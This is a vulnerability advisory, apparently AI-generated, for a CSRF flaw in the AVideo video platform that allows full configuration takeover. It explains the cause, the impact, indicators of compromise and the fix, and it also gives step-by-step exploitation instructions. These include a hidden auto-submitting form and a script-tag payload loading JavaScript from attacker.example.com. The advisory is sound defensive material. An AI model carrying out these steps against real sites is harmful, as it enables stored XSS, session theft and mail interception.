Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-40925
PHP vulnerability analysis and mitigation

Overview

CVE-2026-40925 is a Cross-Site Request Forgery (CSRF) vulnerability in WWBN AVideo, an open source video platform, that enables full site configuration takeover including encoder URL and SMTP credential replacement. It affects AVideo versions 29.0 and prior. The vulnerability was published on April 21, 2026, with a fix committed on April 24, 2026. It carries a CVSS v3.1 base score of 8.3 (High) (GitHub Advisory).

Technical details

The root cause is a missing CSRF protection on the objects/configurationUpdate.json.php endpoint (also accessible via /updateConfig), classified as CWE-352 (Cross-Site Request Forgery). The endpoint relies solely on User::isAdmin() for access control and does not call forbidIfIsUntrustedRequest(), verify a globalToken, or validate the Origin/Referer header — despite the project already implementing these primitives and using them on peer endpoints like objects/userUpdate.json.php. Critically, AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, meaning the browser will automatically attach the admin's PHPSESSID cookie to cross-origin POST requests. Because the admin UI submits configuration via application/x-www-form-urlencoded (a CORS "simple" request), no preflight is triggered, allowing any attacker-controlled page to silently submit the form with the victim's session (GitHub Advisory, Fix Commit).

Impact

A successful CSRF attack rewrites dozens of global site settings in a single request, including the encoder URL, SMTP host/username/password/port, site <head> HTML, logo, favicon, contact email, and upload/download policies. Injecting arbitrary HTML via setHead() results in persistent stored XSS site-wide, enabling session theft of all subsequent visitors including other administrators. SMTP credential replacement allows the attacker to intercept all outbound mail (password reset tokens, signup confirmations), and encoder URL hijacking poisons downstream content metadata. Arbitrary file writes to the web root via base64-encoded logo and favicon fields further extend attacker control (GitHub Advisory).

Exploitability

A complete proof-of-concept HTML form payload with step-by-step reproduction instructions is publicly available in the GitHub Security Advisory, making exploitation straightforward for any attacker who can lure an authenticated administrator to a malicious page (GitHub Advisory). No privileges are required on the attacker's side — only user interaction (admin visiting the attacker's page) is needed. The EPSS score is 0.000170, indicating low current exploitation probability, and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time. No threat actor attribution has been reported.

Exploitation steps

  1. Reconnaissance: Identify publicly accessible AVideo instances running version 29.0 or earlier using search engines or Shodan, targeting the /updateConfig or /objects/configurationUpdate.json.php endpoint.
  2. Craft malicious HTML page: Create an HTML page (evil.html) hosted on an attacker-controlled domain containing a hidden form that POSTs to the victim's AVideo /updateConfig endpoint with attacker-chosen values for fields such as encoder_url, smtpHost, smtpUsername, smtpPassword, head (for XSS payload injection), and logoImgBase64.
  3. Inject stored XSS payload: Set the head field to a <script src="https://attacker.example.com/evil.js"></script> tag to achieve persistent site-wide JavaScript execution on all future visitors.
  4. Lure the administrator: Send a phishing link or embed the malicious page in content likely to be visited by an AVideo administrator (e.g., email, forum post, or social engineering).
  5. Trigger auto-submission: When the admin visits evil.html, JavaScript calls document.getElementById('x').submit(), causing the browser to POST the form cross-origin with the admin's PHPSESSID cookie automatically attached (due to SameSite=None).
  6. Confirm takeover: The server responds with {"status":"1",...}, confirming the configuration was saved. Verify by visiting any page on the victim site to observe the injected <head> content, or trigger a password reset to confirm SMTP relay hijack (GitHub Advisory).

Indicators of compromise

  • Network: Unexpected outbound SMTP connections to unfamiliar hosts/IPs from the AVideo server; outbound connections to attacker-controlled encoder URLs during video processing operations.
  • Logs: Web server access logs showing POST requests to /objects/configurationUpdate.json.php or /updateConfig originating from unexpected IP addresses or with a Referer header pointing to an external domain; PHP error logs referencing configuration save operations at unusual times.
  • File System: Unexpected modifications to videos/userPhoto/logo.png or videos/favicon.png with attacker-supplied content; changes to videos/configuration.php or the configurations database table with unfamiliar values.
  • Application Behavior: Injected <script> or other HTML tags appearing in the site <head> across all pages; SMTP settings pointing to unknown relay servers; encoder URL changed to an external domain not previously configured (GitHub Advisory).

Mitigation and workarounds

The fix is available in commit f9492f5e6123dff0292d5bb3164fde7665dc36b4, which adds a call to forbidIfIsUntrustedRequest('configurationUpdate') immediately after the admin check in objects/configurationUpdate.json.php (Fix Commit). Administrators should update to a version of AVideo that includes this commit. As interim mitigations: restrict administrative access to trusted networks or VPN, monitor the configurations table and web root files for unauthorized changes, and review all other objects/*.json.php state-mutating endpoints for the same CSRF omission pattern. Additionally, consider implementing browser-level CSRF protection and auditing recent configuration changes for signs of tampering (GitHub Advisory).

Community reactions

The vulnerability was noted on social platforms including Mastodon and Bluesky shortly after disclosure, with automated CVE tracking accounts sharing the advisory. No significant named researcher commentary or major media coverage has been identified beyond standard vulnerability database aggregation.

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-71537MEDIUM6.5
  • PHP logoPHP
  • paymenter/paymenter
NoYesSep 18, 2026
CVE-2026-77616MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026
CVE-2026-77610MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026
CVE-2026-77609MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026
CVE-2026-77608MEDIUM6.1
  • PHP logoPHP
  • mediawiki/semantic-media-wiki
NoYesSep 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management